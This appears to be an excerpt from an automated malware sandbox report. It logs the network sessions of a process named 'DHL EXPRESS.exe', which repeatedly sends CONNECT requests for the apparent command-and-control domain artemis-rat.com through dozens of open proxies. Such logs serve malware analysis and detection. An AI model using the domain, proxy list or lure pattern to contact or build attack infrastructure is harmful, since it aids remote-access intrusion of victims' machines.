Mar 11, 2024 18:36:46.165451050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.8	50968	43.133.136.208	8800	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.165453911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.8	50914	202.166.219.80	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.166672945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.8	49983	182.140.244.163	8118	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.180891037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.8	50283	117.160.250.163	82	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.186913013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.200505018 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 17:36:47 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.8	50992	185.49.31.207	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.201550961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.8	50991	91.202.230.219	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.231831074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.8	50088	111.59.4.88	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.233946085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.481122017 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.8	51002	186.124.164.213	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.233946085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.8	51004	193.106.57.96	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.243556023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.8	51009	68.183.180.222	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.289383888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.987489939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.066308975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.066113949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.066025019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.377610922 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.8	50037	103.159.46.2	83	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.292618990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.300241947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.331307888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.8	51041	198.23.229.203	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.294356108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.8	50151	36.134.91.82	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.311832905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.569725037 CET	324	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.8	51038	190.153.121.2	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.378755093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.8	51019	91.148.127.162	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.378870964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.8	51033	174.64.199.79	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.379008055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.8	51059	66.45.246.194	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.379201889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.8	51097	154.208.10.126	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.379261017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.831242085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.331267118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.410058975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.520304918 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.8	51037	184.181.217.194	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.379343033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.8	50094	190.128.241.102	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.380182028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.817158937 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 619 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 73 6f 70 6f 72 74 65 74 69 40 63 6f 64 65 31 30 30 2e 63 6f 6d 2e 70 79 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at soporteti@code100.com.py to inform th
Mar 11, 2024 18:36:55.817296028 CET	275	IN	Data Raw: 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 Data Ascii: em of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Po

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.8	50235	216.176.187.99	8889	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.380513906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.409662008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.452769995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.571641922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.668711901 CET	68	IN	HTTP/1.1 200 Connection established Set-Cookie: SRV=S44; path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.8	50027	111.8.155.54	7777	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.380573034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.785811901 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.8	51027	163.172.171.22	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.380670071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.8	50550	192.252.208.70	14282	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.380783081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.8	51122	104.16.224.33	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.381186962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.535857916 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.8	51063	98.162.25.29	31679	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.381938934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.8	50505	120.197.40.219	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.382013083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.367712021 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.8	51031	198.44.255.3	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.382090092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.8	51035	51.158.64.130	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.382147074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.8	50213	68.1.210.163	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.383053064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.8	50214	24.249.199.4	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
